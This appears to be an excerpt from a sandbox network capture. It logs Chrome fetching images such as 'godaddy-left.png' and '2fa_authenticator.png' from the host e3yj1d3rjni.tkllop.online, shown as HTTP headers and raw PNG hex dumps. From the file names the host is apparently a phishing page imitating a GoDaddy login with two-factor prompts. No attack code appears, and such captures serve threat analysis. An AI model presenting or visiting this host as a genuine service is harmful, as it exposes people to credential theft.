2024-10-29 09:47:18 UTC	321	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 02 76 49 44 41 54 78 9c ed da 31 6e 13 41 18 86 e1 19 93 94 b9 02 57 a0 70 8b 58 23 41 83 10 5d a4 70 1a 38 00 27 a0 44 48 1c 82 22 de 50 73 09 da 14 34 90 d2 4b 93 36 22 0b 7c de 99 e5 79 5a 6b f7 ff 25 bf da f1 4a 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 8f d4 63 0c d9 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-vIDATx1nAWpX#A]p8'DH"Ps4K6"\|yZk%J.c
2024-10-29 09:47:18 UTC	489	IN	Data Raw: 2f b9 c3 5a 0d c3 b0 ab b5 2e 16 96 a3 90 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 c2 22 42 58 44 08 8b 08 61 11 21 2c 22 84 45 84 b0 88 10 16 11 27 4b 0e af b5 6e 87 61 b8 f7 0e 9b cd e6 fb e5 e5 e5 d7 b9 73 b6 db ed e9 d9 d9 d9 93 69 9a ea dc 6b 7b 55 6b 7d b4 e4 fc 45 c3 2a a5 bc ab f5 fe df f5 34 4d fb 52 ca d3 39 03 ce cf cf 1f 5c 5f 5f 7f 28 a5 5c cc 99 c5 df 59 f5 51 78 1b d5 c7 52 ca c5 d2 bb fc 6f 56 1b 96 a8 96 b5 ca b0 44 b5 bc d5 85 Data Ascii: /Z.a!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E"BXDa!,"E'Knasik{Uk}E*4MR9\__(\YQxRoVD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49782	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:18 UTC	378	OUT	GET /static/media/godaddy-left.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1047	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="godaddy-left.png" Last-Modified: Mon, 27 Nov 2023 04:08:52 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CbR4x7n7qX2r0MMmcgIBn1RHpIaoxbc%2Bs4bQvCoB%2FStoFt6T1haTbgM%2B3j15Z70ixUkIQWqveAhmNEYaejteluDLEjiVHmPsl9YswOxFHEprJcScqDYjJqgEJHTOeE%2BA4T43USoy8Aa1mbp0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e534d9d46dd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=956&delivery_rate=1567099&cwnd=248&unsent_bytes=0&cid=91218aa685c0458c&ts=272&x=0"
2024-10-29 09:47:18 UTC	322	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 00 81 fb 34 e2 ce 5d 6e e2 c4 09 b8 7b e7 8e 5a 9a da da da 62 e0 e0 c1 68 dd ba 0d 6c ac 2c 99 bf d5 42 91 35 62 08 30 04 18 02 86 8b 00 1b f8 05 ec bb 95 ab 56 73 7f 2e 98 8f d4 d4 54 a9 96 b9 72 e5 82 57 79 1f 14 f5 28 09 07 47 67 d8 17 72 84 a5 95 15 3e 26 24 e0 53 e2 47 c4 44 bf c2 9d 9b d7 f1 f8 c1 5d a4 a5 a5 49 db d5 a9 53 17 bf cf 98 81 fc 76 b6 cc e7 02 f6 39 53 8d 21 c0 10 60 08 f0 8d 00 1b f4 f9 46 94 27 79 33 67 cd e2 d6 ad 5d 2b 95 66 61 69 89 ea fe 01 a8 54 bd 16 f2 da da 29 ec 25 21 fe 03 0e ec d8 84 7b 11 37 a5 75 7d 7d 2b 61 de 82 05 70 28 58 80 f9 5d 21 82 ac 02 43 80 21 c0 10 10 07 02 6c c0 17 a0 1f 57 ad 59 c3 cd 9d 3d 5b aa 99 4b 11 77 74 e8 de 17 76 f9 0a a8 ac 6d 44 f8 35 ec d8 b8 06 69 69 92 bb 02 d5 aa 57 c7 9f 0b 17 b1 85 7a 2a Data Ascii: 4]n{Zbhl,B5b0Vs.TrWy(Ggr>&$SGD]ISv9S!`F'y3g]+faiT)%!{7u}}+ap(X]!C!lWY=[KwtvmD5iiWz*
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: cb 78 9e 3c 71 ce 62 98 98 64 16 77 e9 ec 49 9c 3e 7a 10 49 89 1f a5 5a 93 84 3a 84 e0 c9 a2 3a 21 16 32 ab 27 64 7f fd f2 79 39 f5 4a 95 2a 85 71 bf fe 86 ca be 15 35 c2 4d 56 e8 95 ab d7 b8 1e dd 25 c4 ee e1 e1 81 dd bb 77 0b 11 12 a6 13 43 40 2b 08 90 45 a7 ad 5b b7 a6 b2 c9 1d ac f3 e7 cf f3 76 6d 69 45 61 26 54 67 08 b0 40 50 13 ea 9e 3d 7b 71 97 2f 5f a2 ad 27 4c 9a 84 0e ed db 6b 84 65 8b 16 2d b8 47 8f 1e 51 79 23 26 cc c8 b4 7f 3e 74 df 4e b9 67 f1 36 79 6d e9 2c be aa 5f 5d 35 2d d0 6d b3 fb 11 37 41 66 f8 cf 9f 4a 6c 24 c5 d1 d1 11 13 26 4d 46 dd da fe 1a 61 97 21 6f e3 a6 4d dc ef 53 a7 d2 3f db b4 69 03 32 c3 61 85 21 60 4c 08 04 05 05 21 2a 2a 8a 9a bc 65 db 36 94 f5 f2 e2 e5 da 32 26 0c c5 68 2b 0b 02 35 bc 7a e9 f2 15 ae 57 cf 1e b4 65 fe Data Ascii: x<qbdwI>zIZ::!2'dy9Jq5MV%wC@+E[vmiEa&Tg@P={q/_'Lke-GQy#&>tNg6ym,_]5-m7AfJl$&MFa!oMS?i2a!`L!*e62&h+5zWe
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: cd 99 3d 9b aa 5d b7 6e 3d 2c 5e fc 17 2f b8 5d 0b bb ce 75 eb fa 9d 60 42 7a 0f 44 09 af 72 86 06 0f 6f fa 7a 79 b8 a1 5c c9 62 6a 63 cb 88 9e 37 57 30 41 02 42 80 11 bd 80 9c 61 a0 aa a8 3d a8 1a a8 bd 6a a9 dd ad 7b 77 ee da d5 ab b4 ed b4 e9 d3 d1 ba 65 4b 5e 70 93 9d cd 57 aa 5e 0b cd db 75 56 4b 3f b1 34 2a 5b a2 28 ca 78 ba ab 8d 2d 23 7a b1 44 02 b3 43 16 01 46 f4 2c 1e 34 45 40 ed 41 55 d3 8e 0d a5 fd f9 8b 97 b8 be bd 7b 51 75 c9 7e d6 9d bb f7 c0 d6 c6 5a 63 dc 7e 9c cd f7 fb 79 0c 5c 5c dd 68 3f 89 1f 13 40 4e a7 33 96 92 92 92 82 73 27 8e e0 fd 9b d7 18 3b 6e 2c ca 97 2d a3 16 be 7c 13 7d 25 07 7b 74 f4 f0 40 e9 fc f9 70 29 e6 0d 96 df bd 87 37 9f 3f cb b9 a5 74 be 7c e8 5e aa 24 bc f2 e7 c3 e5 37 6f b1 f5 d1 63 3c 94 59 25 4d 2a d7 71 71 46 Data Ascii: =]n=,^/]u`BzDrozy\bjc7W0ABa=j{weK^pW^uVK?4[(x-#zDCF,4E@AU{Qu~Zc~y\\h?@N3s';n,-\|}%{t@p)7?t\|^$7oc<Y%MqqF
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 63 8d c9 4b 34 48 c8 18 72 e8 f0 11 6e c4 70 49 be 79 2f af 32 d8 b6 6d 2b 2f 38 9d 38 79 8a 1b 3c 68 20 95 eb e8 e2 8a 01 c3 c7 e1 d3 a7 24 ba a5 2e fc ea 25 3a 7b 6f d9 a1 2b dc 8b 7b 1a 2c ac 64 51 21 b9 2b 71 ed e2 59 39 1b 02 fc dc d0 33 b8 1c bc cb 64 be 43 f1 d5 b6 0b ac 6c 5c 34 c6 98 11 bd c1 86 0d 53 3c 07 04 18 d1 b3 f0 d0 14 01 8d 07 57 4d 15 10 62 fb d1 a3 c7 70 fb f6 ed a5 aa 0d 1d 36 0c fd fb f5 e3 05 a7 e9 d3 67 70 1b d2 73 56 93 5b f6 05 ec 1d 70 f4 c0 2e 7c f9 fc 99 3e 8f af 1d d8 58 0e 8e b8 77 6f 61 9e 27 8f c1 cc ec 2f 9e 39 4e 6f d3 93 7c 00 19 a5 68 11 5b f4 0a 2e 8f 56 8d b2 ff f1 92 6a e9 87 3c f9 fd 34 c6 98 11 bd 10 af 26 a6 93 a6 08 30 a2 d7 14 41 d6 5e e3 c1 55 6c 10 3e 79 fa 8c 6b d6 b4 09 35 cb c4 c4 84 66 c2 2b e1 51 9c 17 Data Ascii: cK4HrnpIy/2m+/88y<h $.%:{o+{,dQ!+qY93dCl\4S<WMbp6gpsV[p.\|>Xwoa'/9No\|h[.Vj<4&0A^Ul>yk5f+Q
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 72 36 9c 39 7e 18 c7 0e ec 46 ab 0e dd e0 53 a5 ba 4a f6 a9 52 f9 c6 d5 8b 38 7f f2 28 de 44 bf 92 36 73 28 68 45 09 be 4b 6b af 6c 45 bd 7c fd 11 4d ba 49 1e 4d 54 f1 76 c2 bf 73 83 54 e9 16 69 e6 25 61 6e df 4a 23 cc 19 d1 ab 04 39 ab 6c 20 08 30 a2 37 10 47 09 58 4d 8d 06 56 01 db a5 92 6a f3 17 2c e0 fe 59 21 59 28 d7 a1 63 27 4c f8 ed 57 de 71 f1 f1 f1 e1 52 d2 8f 37 fd 6d e6 42 98 e6 ce 0d d9 c4 38 36 79 6d d1 a8 65 3b 94 f3 91 bf e5 fd f4 d1 03 ec dd b6 91 3e 1f af 58 b5 26 82 5a b4 a5 07 de f0 5d a2 9e 3f a5 b7 e9 ef dc bc 2e 27 ba 7d d3 92 94 e4 5d 9d 73 5e f5 9f 90 98 8c 5a ad 25 0b 19 8b b8 e4 c5 fe 35 99 cf 72 cf 49 e7 34 f3 32 30 b7 6f a6 11 ee 8c e8 f9 8e 0a 26 4f 08 08 30 a2 17 82 17 0c 5b 07 8d 06 56 c3 36 fd bb f6 f5 ea 05 70 6f de c4 d0 Data Ascii: r69~FSJR8(D6s(hEKklE\|MIMTvsTi%anJ#9l 07GXMVj,Y!Y(c'LWqR7mB86yme;>X&Z]?.'}]s^Z%5rI420o&O0[V6po
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: f1 62 70 d3 53 16 c6 c8 84 04 6c 7b f4 18 5b 1f 3f 46 ec 97 af 9a 19 24 92 d6 8c e8 45 e2 48 3d 9a 61 b4 44 7f fa cc 59 6e c0 4f fd 29 f4 9e 9e 9e d8 bd 7b b7 56 b1 90 cd a3 5f cc b3 14 48 d6 39 0b 4b 4b 34 6c d6 06 de 95 ab c9 85 00 21 f0 5d 9b d6 d2 45 72 24 2b 1e f9 11 20 7b 5e 7d f2 d7 af 38 7e 68 0f 3d 1e 96 6c cb 23 cf fb cb 7a fb ca c9 e0 38 0e e7 48 d2 9b d3 47 41 56 f0 67 94 72 a5 ec e9 2c be 81 8a 29 6a b3 8b d1 cd 7b ee e1 f7 45 97 e8 d7 b6 79 cd b1 6e 41 13 14 73 b3 53 29 a4 53 ac 83 60 61 e7 ad 31 fe 8c e8 55 82 5d ae 32 b9 4d df ad 64 49 34 70 2d ac be 10 1e 5b ee 7f f6 1c 6b 1e 3c c0 e5 37 6f 79 94 6a 98 a2 18 d1 1b a6 df 84 a4 b5 c6 83 ab 90 8c 51 45 97 f1 e3 7f e5 76 ed da 49 9b fc 34 60 20 86 0c 1e a4 55 2c 64 49 88 f4 59 a5 66 6d 04 36 Data Ascii: bpSl{[?F$EH=aDYnO){V_H9KK4l!]Er$+ {^}8~h=l#z8HGAVgr,)j{EynAsS)S`a1U]2MdI4p-[k<7oyjQEvI4` U,dIYfm6
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 94 96 35 61 44 af 65 80 8d 40 3c af 03 ad d0 f1 4a fc f4 99 6b 50 3f 00 09 e9 29 37 57 ae 5e 83 6a 55 2a eb 14 83 61 3f ff cc 1d 0d 0d a5 50 b5 ee d8 0d de e9 cf db c9 ad 77 72 54 2d c9 7c 47 4e a9 0b 6c d2 12 d6 36 f2 ab a0 1f 3f bc 47 b3 da 91 db f5 19 c5 34 97 89 34 e9 8d 8d b5 b9 52 2e 48 4b e3 70 fd 76 0c ec 6c f3 a0 44 b1 fc d9 b6 b9 17 19 87 e0 01 7b a5 df 93 85 76 81 fe ee 74 6b 1e 79 d7 a4 24 db 76 82 a5 0d bf 59 08 19 d1 e7 ec 11 9f 82 05 31 a9 4a 25 90 77 43 2e e7 a2 63 30 e9 ea 35 3c 8c ff be 46 c4 90 ed 51 a4 3b 23 7a 45 08 b1 ef 15 21 a0 53 92 53 a4 8c b6 bf df bb 6f 3f 37 66 f4 28 da 4d 95 aa 55 b1 7a d5 2a 9d db bf 6e fd 7a 6e e6 8c 19 54 07 92 e6 b6 45 fb 10 7a 8a dd ed 1b d7 e8 22 3c f2 f7 8f a7 d4 25 c4 7f a0 cf e1 2f 9c 96 64 9f cb 28 Data Ascii: 5aDe@<JkP?)7W^jUa?PwrT-\|GNl6?G44R.HKpvlD{vtky$vY1J%wC.c05<FQ;#zE!SSo?7f(MUznznTEz"<%/d(
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: c0 88 5e 3d dc 58 ab ef 08 e8 6c 10 d6 17 e8 ab 56 af e1 e6 ce 99 4d bb 6f 18 14 84 f9 f3 e6 09 ca 66 42 4e db b6 6e 41 83 86 0d d1 b5 5b 77 14 2f aa d9 62 b5 cf 09 f7 38 b3 cf 67 61 92 16 a7 17 c8 b9 5c 56 48 b5 f4 83 85 5d 45 9d e3 cc 88 5e de e5 24 d5 ed 58 9e 17 e1 7d 48 48 c4 d1 f3 ea ed 5f f7 f2 70 43 d9 12 aa 1f 7c a4 4c 20 8f be 74 19 9b 23 55 7b 9c a0 8c 5c 21 d4 61 44 2f 04 2f 18 b6 0e 3a 1f 8c 75 0d 57 eb d6 ad b9 07 0f 1e d0 6e 67 ce 9a 8d e6 cd 9a 8a de 66 62 eb d7 f7 a7 b9 dc 9f af 00 d0 dd 22 a5 54 8b 8a 48 b5 a8 06 6b 2b 5b bd 60 cc 88 5e fe ea 5a 5a bb 16 1a 15 91 3f 23 41 d3 eb 2f ee c3 47 1c bf 78 5d 2d 31 c5 8b 38 c3 b7 6c 09 b5 da 2a 6a 44 48 9e 90 bd 18 0b 23 7a 31 7a 55 b7 36 e9 65 40 d6 95 89 57 ae 85 71 3d ba 75 a5 dd b9 bb bb 63 Data Ascii: ^=XlVMofBNnA[w/b8ga\VH]E^$X}HH_pC\|L t#U{\!aD//:uWngfb"THk+[`^ZZ?#A/Gx]-18l*jDH#z1zU6e@Wq=uc
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 85 7b 8f 9f e3 6b b2 24 f9 94 a6 c5 c4 04 28 e2 5c 08 e5 4a 14 85 15 8f 84 3f fe f2 15 6c 78 18 a9 a9 7a 82 6b cf 88 5e 70 2e 31 38 85 0c 92 08 2f 5c bc c4 85 86 1e c1 b5 ab 57 f1 f4 d9 33 a4 a6 a4 c0 ca ca 0a 69 69 69 f8 fa 55 92 9a 73 ee 1f f3 d0 b8 51 90 41 da 67 70 51 24 10 85 19 d1 7f 77 44 73 77 37 2c aa e5 a7 91 67 c8 ed f9 1b 77 1f e1 b3 1a e9 6e 95 e9 38 57 2e 13 94 2a 56 04 5e 1e ee 20 ff d7 b4 74 3f 71 12 a7 5e 29 91 e9 51 d3 8e 74 dc 9e 11 bd 8e 01 17 61 77 9a 5f 5d 3a 04 25 f2 d1 63 6e e1 c2 3f 71 ec e8 51 85 bd 92 23 5f c7 8c 1e 65 50 f6 29 34 8a 55 c8 11 01 46 f4 df e1 f1 ca 97 0f 07 9b 36 56 3b 62 c2 22 1e e2 f1 0b dd 90 26 d9 67 5f b7 aa b7 46 e9 71 bf a4 a5 a1 fe de fd 88 4a 4a 52 db 66 a1 36 64 44 2f 54 cf 18 8e 5e 06 43 84 a7 cf 9c e5 Data Ascii: {k$(\J?lxzk^p.18/\W3iiiUsQAgpQ$wDsw7,gwn8W.*V^ t?q^)Qtaw_]:%cn?qQ#_eP)4UF6V;b"&g_FqJJRf6dD/T^C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49781	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:18 UTC	383	OUT	GET /static/media/2fa_authenticator.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1053	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 3568 Connection: close Content-Disposition: inline; filename="2fa_authenticator.png" Last-Modified: Sat, 04 Nov 2023 15:30:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b%2B4BO3DCrC34ivwxjWD9vMUSzLsDV4GMaK%2FSFvm4Ps6vO%2Fnpr%2Bm9MyoCNYPYXwwP%2Fzzq3dREQxFF7eKOTEYuUzNnGpVfdsIjlm35w5zETS7wahPHh137SPhvELt4BOuQoMDkRWED1hvWiOiG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e534bed4864-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1297&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=961&delivery_rate=2271372&cwnd=249&unsent_bytes=0&cid=b5e21ebd7a0b17f4&ts=267&x=0"
2024-10-29 09:47:18 UTC	316	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 3c 49 44 41 54 78 9c ed 9d 79 90 1e 55 11 c0 7f bb d9 24 64 93 60 38 12 92 70 06 13 20 5c 09 72 a8 80 45 04 91 84 a3 38 3c b0 40 39 0a e5 50 8b 43 a4 10 4b 14 05 21 55 80 22 a5 96 94 a5 c6 40 21 96 72 49 09 18 44 02 48 01 06 a8 04 42 4e ee 04 72 00 c9 e6 3e 77 e3 1f bd 6b d6 b0 df cc 7c Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-<IDATxyU$d`8p \rE8<@9PCK!U"@!rIDHBNr>wk\|
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: d8 12 56 fd f8 68 b2 56 c0 90 c3 81 13 80 a3 80 23 91 81 a3 c1 fb c0 33 c0 d3 c0 a3 c0 2c a5 cf ad 88 98 43 80 89 c0 1b c8 ac 12 42 5e 01 7e 00 ec 13 c0 be 8a 80 34 03 a7 20 b3 48 a8 c1 54 4b fe dd a9 4b 23 ff 52 14 9e 3e c0 65 c0 db d8 0f a8 6d e5 55 e0 5c 64 d0 57 14 88 53 80 f9 d8 0f a0 34 79 09 18 e7 c7 05 15 9a 8c 02 9e c0 7e c0 d4 2b f7 01 c3 3d f8 a3 42 81 73 80 55 d8 0f 92 bc b2 1c 38 5b dd 2b 15 b9 d9 19 78 08 fb 81 a1 25 7f 44 e2 66 15 86 8c 64 6b 40 b2 4c f2 32 b0 87 a2 9f 2a ea e0 28 24 18 69 3d 08 7c c9 7b c0 61 6a de aa c8 c4 e9 c0 06 ec 6f be 6f 59 0d 1c ab e4 b3 8a 14 c6 03 eb b1 bf e9 a1 64 0d 55 48 c2 3b c7 23 9b bf d6 37 db 62 e6 fa 8c 82 ff 2a 7a 60 2c f2 f4 5a df 64 2b 59 86 2c 56 2a 14 d9 11 49 4b b1 be b9 d6 32 1b bd 2c 8c 86 a7 17 Data Ascii: VhV#3,CB^~4 HTKK#R>emU\dWS4y~+=BsU8[+x%Dfdk@L2($i=\|{ajooYdUH;#7bz`,Zd+Y,V*IK2,
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 21 e8 40 fa 48 c7 cc 5c 6b 05 52 d8 98 f7 42 97 81 95 fb 4b 03 b1 0a 58 6f ad 44 0a 1f 58 2b 90 c2 a6 bc 17 96 79 c6 5a 6d ad 40 06 56 5a 2b 90 82 c9 8c b5 ce e1 da 10 f8 a8 ba a7 4d ec 3a e6 9e 3c 5c 06 d6 72 87 6b 43 10 3a e7 2a 0f da 29 d1 da ac c8 7b a1 cb c0 5a e6 70 6d 08 fa 13 7f 8d 02 b3 d4 94 8c e4 9e 3c ca 3c 63 81 ec c9 c5 cc be d6 0a a4 d0 96 fe 4f 7a a6 cc 33 16 c4 5f 9b c0 2c 83 20 03 1d c8 ca 3a 17 2e 03 6b b1 c3 b5 a1 38 d6 5a 81 04 46 60 9f d1 9a c4 fb 18 05 48 17 38 5c 1b 8a 13 d0 29 6f ed 83 33 ac 15 48 c1 e9 fe 96 7d 60 f5 07 4e b7 56 a2 06 b1 57 d7 7b cf e5 e2 b2 0f 2c 90 ba 0a b1 f5 d7 39 0e 18 63 ad 44 0a ef b8 5c ec fa 8e 95 3b e4 1f 90 b1 c0 49 d6 4a 6c c3 b5 d6 0a 64 e0 5d cb 2f 9f 85 7d 0a 6d 16 99 4f 3c 69 3e 67 62 ef 8f 2c f2 Data Ascii: !@H\kRBKXoDX+yZm@VZ+M:<\rkC:*){Zpm<<cOz3_, :.k8ZF`H8\)o3H}`NVW{,9cD\;IJld]/}mO<i>gb,
2024-10-29 09:47:18 UTC	514	IN	Data Raw: 24 3b f7 1d ca b7 bc 6e 21 3d 95 7b 3a 55 36 ad 33 57 92 fc 73 b0 9c 48 9a 0a 29 30 08 29 30 9b 34 a8 5e a6 0a bd a8 71 3e c9 05 dd 36 01 17 9b 69 a7 c3 48 e4 e7 3d 69 50 3d 45 63 87 5c bc 70 2a e9 f9 47 bf c2 b8 e5 6c 4e 4e 26 fd b0 c9 fd 40 3f 2b 05 cb ce 31 48 05 e3 a4 1b f0 02 52 ff b3 08 f4 42 b2 38 d2 6a 94 4e a2 7c f5 29 a2 e3 10 a4 42 73 d2 8d 58 0a 7c de 4a c1 8c 0c 47 6a a2 26 d9 b1 05 b8 81 2a f8 19 8c 8f 93 5e d3 a0 03 b8 15 69 9f 1b 1b 67 20 f5 e3 93 f4 5f 8f 6c e3 54 04 a6 3f 70 37 e9 4f fc 74 e2 09 49 0c 44 ca 80 a7 e9 fc 16 05 af 06 53 06 2e 24 39 4a bf 05 79 e9 bf 0e db 17 fb f1 24 67 7c 76 c9 bf 48 6e c0 59 11 90 a3 c9 56 34 63 06 92 b5 1a 92 1d c8 56 bb a2 03 a9 f7 55 9d a1 8c 8c 5d 91 d6 25 69 37 70 23 f2 ee b5 93 67 7d fa 20 15 89 97 Data Ascii: $;n!={:U63WsH)0)04^q>6iH=iP=Ec\pGlNN&@?+1HRB8jN\|)BsX\|JGj&^ig _lT?p7OtIDS.$9Jy$g\|vHnYV4cVU]%i7p#g}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49783	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:18 UTC	377	OUT	GET /static/media/auth_number.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1049	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 2382 Connection: close Content-Disposition: inline; filename="auth_number.png" Last-Modified: Sat, 04 Nov 2023 15:30:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W8%2FsNmflOl04iizKaR4hfQh%2F7EQHyAu5ijmd3HupI1MuMaMCygMFayszIdfLHb4lYYeTIGeKuP16%2FEYaeFWUXOIWaa7sKGiVFJw7%2F1A%2BNPyMvWu%2BzUQloEJuHmADxv9koTUjrTKFIrhtR2OA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e534ef4e7bb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1360&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=955&delivery_rate=2097031&cwnd=251&unsent_bytes=0&cid=46f795ba5fc28fe5&ts=255&x=0"
